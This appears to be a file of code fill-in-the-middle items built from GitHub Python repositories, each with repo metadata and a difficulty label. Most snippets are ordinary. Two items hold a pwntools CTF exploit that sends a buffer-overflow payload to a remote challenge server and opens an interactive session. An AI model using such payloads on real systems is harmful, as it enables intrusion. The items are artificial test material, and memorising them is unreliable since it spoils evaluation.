<|fim_prefix|># repo: Huangkai1008/quiz path: /quiz/schema/user.py from quiz.schema.base import Schema from quiz.schema.schemas import UserSchemas class RegisterSchema(Schema): """ 注册 """ <|fim_suffix|> class LoginSchema(Schema): """ 登录 """ _schema = UserSchemas.LOGIN_SCHEMA.value<|fim_...
code_fim
easy
{ "lang": "python", "repo": "Huangkai1008/quiz", "path": "/quiz/schema/user.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|> _schema = UserSchemas.LOGIN_SCHEMA.value<|fim_prefix|># repo: Huangkai1008/quiz path: /quiz/schema/user.py from quiz.schema.base import Schema from quiz.schema.schemas import UserSchemas class RegisterSchema(Schema): """ 注册 """ _schema = UserSchemas.REG_SCHEMA.value <|fim_middle|>...
code_fim
easy
{ "lang": "python", "repo": "Huangkai1008/quiz", "path": "/quiz/schema/user.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_suffix|>payload = padding * "A" + p32(0xabcd1234) p.send(payload) p.interactive() p.close()<|fim_prefix|># repo: b09780978/ctf-wirte-ups path: /bamboofox/binary_100/exp.py from pwn import * DEBUG = False if DEBUG: p = process("binary_100") else: p = remote("bamboofox.cs.nctu.edu.tw", 22001) <|fim_mi...
code_fim
easy
{ "lang": "python", "repo": "b09780978/ctf-wirte-ups", "path": "/bamboofox/binary_100/exp.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: b09780978/ctf-wirte-ups path: /bamboofox/binary_100/exp.py from pwn import * DEBUG = False <|fim_suffix|>p.interactive() p.close()<|fim_middle|>if DEBUG: p = process("binary_100") else: p = remote("bamboofox.cs.nctu.edu.tw", 22001) padding = 0x34 - 0xc payload = padding * "A" + p32(0x...
code_fim
medium
{ "lang": "python", "repo": "b09780978/ctf-wirte-ups", "path": "/bamboofox/binary_100/exp.py", "mode": "psm", "license": "MIT", "source": "the-stack-v2" }
<|fim_prefix|># repo: icml205688/icml205688_code path: /models/mnist/lenet_mnist.py # # Copyright (c) 2018 Intel Corporation # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://w...
code_fim
hard
{ "lang": "python", "repo": "icml205688/icml205688_code", "path": "/models/mnist/lenet_mnist.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|>class Lenet(nn.Module): def __init__(self): super(Lenet, self).__init__() self.conv1 = nn.Conv2d(1, 20, 5) self.pool = nn.MaxPool2d(2, 2) self.conv2 = nn.Conv2d(20, 50, 5) self.fc1 = nn.Linear(800, 500) self.fc2 = nn.Linear(500, 10) def forward(self...
code_fim
medium
{ "lang": "python", "repo": "icml205688/icml205688_code", "path": "/models/mnist/lenet_mnist.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> for key in mapCoords: tList = mapCoords[key] tData = np.zeros(dims)#generate zeros s = str(key) + '_label.nii.gz' save_loc = os.path.join(save_path,s) for coord in tList: tData[coord[0],coord[1],coord[2]] = key #fix the coords to the correct value fo...
code_fim
hard
{ "lang": "python", "repo": "Tikahari/NSG-Patient-Anatomy-App", "path": "/Server/processingServer/processingServer/NiftiTransform.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Tikahari/NSG-Patient-Anatomy-App path: /Server/processingServer/processingServer/NiftiTransform.py import os import numpy as np import nibabel as nib def loop_access(n,m,data,tpl): if n >m: return loop_access(n,m+1,data[tpl[m]],tpl) else: return data[tpl[m]] def loop_rec...
code_fim
medium
{ "lang": "python", "repo": "Tikahari/NSG-Patient-Anatomy-App", "path": "/Server/processingServer/processingServer/NiftiTransform.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: beibeisongs/T.F.E.P. path: /CalculatorForParts.py #encoding=utf-8 import json import os def get_Userid(path): path_Divided = path.split('\\') #print(path_Divided) get_id= path_Divided[6].split('.') get_id = get_id[0] #print(get_id) return get_id def compose...
code_fim
medium
{ "lang": "python", "repo": "beibeisongs/T.F.E.P.", "path": "/CalculatorForParts.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> f1 = open(json_path_to_read,encoding='utf-8') pic_num = len(f1.readlines()) return pic_num def gothrough_Source(path_json_source, province, city, pic_num_least): total = 0 """ 为了能够看到下载进度,在此先计算账户总数 """ for dirpath, dirnames, filenames in os.walk(path_json_source)...
code_fim
hard
{ "lang": "python", "repo": "beibeisongs/T.F.E.P.", "path": "/CalculatorForParts.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>""" print("请输入想要下载的省份或直辖市:") input_province = input() print("请输入想要下载的城市:") input_city = input() print("请输入想要下载的年份:(2014)") input_year = input() print("请输入想要下载的月份:(07)") input_month = input() print("请输入想要过滤的图片数目下限:") pic_num_least = input() """ input_province = "广东省" input_city = "广州市" input_...
code_fim
hard
{ "lang": "python", "repo": "beibeisongs/T.F.E.P.", "path": "/CalculatorForParts.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: himichael/LeetCode path: /src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py # Definition for singly-linked list. # class ListNode(object): # def __init__(self, x): # self.val = x # self.next = None <|fim_suffix|> def splitListToParts(self, root, k): ...
code_fim
medium
{ "lang": "python", "repo": "himichael/LeetCode", "path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> #print "per_len-->"+str(per_len)+" extra_count-->"+str(extra_count) per_link_start = q while q: if per==per_len: tmp = q.next if extra_count: p,tmp.next = tmp.next,None tmp,extra_count = p,extra_count-1 else: q.next = None res[index],q,index = per_link_start,tmp,in...
code_fim
hard
{ "lang": "python", "repo": "himichael/LeetCode", "path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> """ :type root: ListNode :type k: int :rtype: List[ListNode] """ if not root: return [None]*k res,p,q,n = [None]*k,root,root,0 while p: p,n = p.next,n+1 per_len,per = 1 if n/k==0 else n/k,1 extra_count,index = 0 if n<=k else n%k,0 #print "per_len-->"+str(per_len)+" extra_c...
code_fim
medium
{ "lang": "python", "repo": "himichael/LeetCode", "path": "/src/701_800/0725_split-linked-list-in-parts/split-linked-list-in-parts.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: mirror12k/analyze-swf-file path: /unpack_swf.py #!/usr/bin/env python3 import sys import os import math import tempfile import zlib import lzma import struct import bitstruct # a swf file unpacker and analyzer # majority of information taken from https://www.adobe.com/devnet/swf.html (vers...
code_fim
hard
{ "lang": "python", "repo": "mirror12k/analyze-swf-file", "path": "/unpack_swf.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> def unpackHeader2(self): '''unpacks the rest of the header data that might have been compressed''' self.frameSize = self.unpackRect() self.frameRate, self.frameCount = struct.unpack('<HH', self.handle.read(4)) # frameRate is an 8.8 float actually, but i'm not sure how to unpack that... def unpa...
code_fim
hard
{ "lang": "python", "repo": "mirror12k/analyze-swf-file", "path": "/unpack_swf.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: Prakash-Rajagopal/ToyApp path: /fastapi/main.py from typing import List from fastapi import Depends, FastAPI, HTTPException from sqlalchemy.orm import Session from myfirstpython.fastapi import models, crud, schemas from myfirstpython.fastapi.dbconnection import engine, SessionLocal models.Base...
code_fim
hard
{ "lang": "python", "repo": "Prakash-Rajagopal/ToyApp", "path": "/fastapi/main.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> cans = crud.get_candidates(db, skip=skip, limit=limit) return cans @app.get("/cands/{email}", response_model=schemas.Can) def read_can(email: str, db: Session = Depends(get_db)): db_can = crud.get_candidate(db, email) if db_can is None: raise HTTPException(status_code=404, detail...
code_fim
hard
{ "lang": "python", "repo": "Prakash-Rajagopal/ToyApp", "path": "/fastapi/main.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> pass @abc.abstractmethod def get_last_id(self): pass @abc.abstractmethod def get_done_items(self): pass """@abc.abstractmethod def close(self): pass"""<|fim_prefix|># repo: KarimAlMaghribi/pythonTests path: /ToDo_2.0...
code_fim
hard
{ "lang": "python", "repo": "KarimAlMaghribi/pythonTests", "path": "/ToDo_2.0/Connector.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> pass @abc.abstractmethod def update_item(self, item): pass @abc.abstractmethod def get_last_id(self): pass @abc.abstractmethod def get_done_items(self): pass """@abc.abstractmethod def close(self): ...
code_fim
medium
{ "lang": "python", "repo": "KarimAlMaghribi/pythonTests", "path": "/ToDo_2.0/Connector.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: KarimAlMaghribi/pythonTests path: /ToDo_2.0/Connector.py import abc class Connector: """@abc.abstractmethod def connect(self): <|fim_suffix|> @abc.abstractmethod def get_done_items(self): pass """@abc.abstractmethod def close(self):...
code_fim
hard
{ "lang": "python", "repo": "KarimAlMaghribi/pythonTests", "path": "/ToDo_2.0/Connector.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>participatory_processes_reader = ParticipatoryProcessesReader(decidim_connector) participatory_processes = participatory_processes_reader.process_query()<|fim_prefix|># repo: jorgechp/pydecidim path: /main.py from api.decidim_connector import DecidimConnector from api.participatory_processes_reader impor...
code_fim
medium
{ "lang": "python", "repo": "jorgechp/pydecidim", "path": "/main.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: jorgechp/pydecidim path: /main.py from api.decidim_connector import DecidimConnector from api.participatory_processes_reader import ParticipatoryProcessesReader from api.version_reader import VersionReader <|fim_suffix|>participatory_processes_reader = ParticipatoryProcessesReader(decidim_connec...
code_fim
medium
{ "lang": "python", "repo": "jorgechp/pydecidim", "path": "/main.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: sebsquire/Dogs-and-cats-image-classification-CNN path: /modelresults_inspection.py ''' Inspection of the network with unlabelled data ''' import numpy as np import matplotlib.pyplot as plt from main import IMG_SIZE, MODEL_NAME, model model.load(MODEL_NAME) ''' COMMENT OUT F...
code_fim
medium
{ "lang": "python", "repo": "sebsquire/Dogs-and-cats-image-classification-CNN", "path": "/modelresults_inspection.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>fig = plt.figure() # plot last 12 of test data and predicted class for num, data in enumerate(test_data[:12]): # cat: [1,0] # dog: [0,1] img_num = data[1] img_data = data[0] y = fig.add_subplot(3, 4, num+1) orig = img_data data = img_data.reshape(IMG_SIZE, IMG_SI...
code_fim
hard
{ "lang": "python", "repo": "sebsquire/Dogs-and-cats-image-classification-CNN", "path": "/modelresults_inspection.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|># Plot one test_data i = random.randint(0,x_test_data.shape[0]) print(y_test_data[i]) plt.title('Test Data') plt.imshow(x_test_data[i],cmap='binary') plt.show()<|fim_prefix|># repo: rkuo2000/tf path: /mnist_plotdata.py import random import matplotlib.pyplot as plt import tensorflow.keras as keras ...
code_fim
medium
{ "lang": "python", "repo": "rkuo2000/tf", "path": "/mnist_plotdata.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: rkuo2000/tf path: /mnist_plotdata.py import random import matplotlib.pyplot as plt import tensorflow.keras as keras mnist = keras.datasets.mnist # MNIST datasets # Load Data and splitted to train & test sets # x : the handwritten data, y : the number (x_train_data, y_train_data), (x_tes...
code_fim
medium
{ "lang": "python", "repo": "rkuo2000/tf", "path": "/mnist_plotdata.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> """ Take a step forward in environment for a minibatch of observations Inputs: obs (PyTorch Variable): Observations for this agent explore (boolean): Whether or not to sample Outputs: action (PyTorch Variable): Actions for this agent ...
code_fim
hard
{ "lang": "python", "repo": "WeiChengTseng/DL_final_project", "path": "/maac/utils/agents.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: WeiChengTseng/DL_final_project path: /maac/utils/agents.py from torch import Tensor from torch.autograd import Variable from torch.optim import Adam from maac.utils.misc import hard_update, onehot_from_logits from maac.utils.policies import DiscretePolicy class AttentionAgent(object): """ ...
code_fim
hard
{ "lang": "python", "repo": "WeiChengTseng/DL_final_project", "path": "/maac/utils/agents.py", "mode": "psm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_suffix|> def load_params(self, params): self.policy.load_state_dict(params['policy']) self.target_policy.load_state_dict(params['target_policy']) self.policy_optimizer.load_state_dict(params['policy_optimizer'])<|fim_prefix|># repo: WeiChengTseng/DL_final_project path: /maac/utils/agen...
code_fim
hard
{ "lang": "python", "repo": "WeiChengTseng/DL_final_project", "path": "/maac/utils/agents.py", "mode": "spm", "license": "Apache-2.0", "source": "the-stack-v2" }
<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py import pyenttec, math, time global port MAX = 60 panels = [408, 401, 404, 16] def render(): <|fim_suffix|> port = pyenttec.select_port() func()<|fim_middle|> port.render() def setColor(panel, color): if panels[panel]: port.set_c...
code_fim
hard
{ "lang": "python", "repo": "apendleton/panels_rgb", "path": "/real_lib.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py import pyenttec, math, time global port MAX = 60 <|fim_suffix|> port.render() def setColor(panel, color): if panels[panel]: port.set_channel(panels[panel] - 1, color[0]) port.set_channel(panels[panel], color[1]) port.set_...
code_fim
easy
{ "lang": "python", "repo": "apendleton/panels_rgb", "path": "/real_lib.py", "mode": "psm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|>def run(func): global port port = pyenttec.select_port() func()<|fim_prefix|># repo: apendleton/panels_rgb path: /real_lib.py import pyenttec, math, time global port MAX = 60 <|fim_middle|>panels = [408, 401, 404, 16] def render(): port.render() def setColor(panel, color): if p...
code_fim
hard
{ "lang": "python", "repo": "apendleton/panels_rgb", "path": "/real_lib.py", "mode": "spm", "license": "unknown", "source": "the-stack-v2" }
<|fim_suffix|> # import the parsed Order Executed With Price data into a Pandas dataframe: ord_exec_pr_df = pd.read_csv('ord_exec_pr_data.csv', index_col = None, names = ['Reference', 'Shares', 'Price']) # import the parsed Trade data into a Pandas dataframe: trade_1_df = pd.read_csv('t...
code_fim
hard
{ "lang": "python", "repo": "karlhthompson/niv", "path": "/nasdaq_itch_vwap.py", "mode": "spm", "license": "MIT", "source": "the-stack-v2" }